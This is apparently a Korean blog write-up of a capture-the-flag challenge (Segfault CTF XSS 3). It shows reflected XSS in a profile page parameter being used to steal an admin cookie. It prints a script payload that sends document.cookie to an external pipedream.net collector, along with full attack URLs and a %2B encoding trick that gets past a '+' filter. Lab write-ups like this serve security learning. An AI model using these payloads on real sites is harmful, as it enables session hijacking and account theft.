상세 컨텐츠

본문 제목

Segfault CTF - (10주 차) XSS 3

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 25. 18:24

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)


※ CTF - Capture The Flag
※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - XSS 3

 

1. 목표 : 관리자의 Cookie를 탈취하세요!

2. 실행 

  • XSS 취약점 찾기
    [보안 공부] 9주 차 - XSS(크로스 사이트 스크립팅), 보고서 작성에서 마이페이지 플레이스 홀더에서 Reflected XSS 취약점이 발견되었었고, 활용하도록 한다.
  • Segfault CTF - (10주 차) XSS 1와 마찬가지로 GET method로 URL을 만들면된다.(과정 생략)
  • 스크립트 작성
    <script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22+document.cookie;</script>

    공격용 URL 작성
    http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=t1234"><script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22+document.cookie;</script>

    공격해보았으나 안되어서Burp Suite로 확인해보았다.
    '+' 문자가 사라지고 있다. 필터링인 것 같다.
    + 대신 %2B를 넣어준다. (URL Encording)

    수정된 공격용 URL
    http://ctf.segfaulthub.com:4343/xss_3/mypage.php?user=t1234"><script>var i = new Image(); i.src=%22https://enmqaeuyiny5.x.pipedream.net/?cookiedata=%22%2Bdocument.cookie;</script>

  • 관리자 쿠키 획득하기
    쿠키 획득 성공!

 

관련글 더보기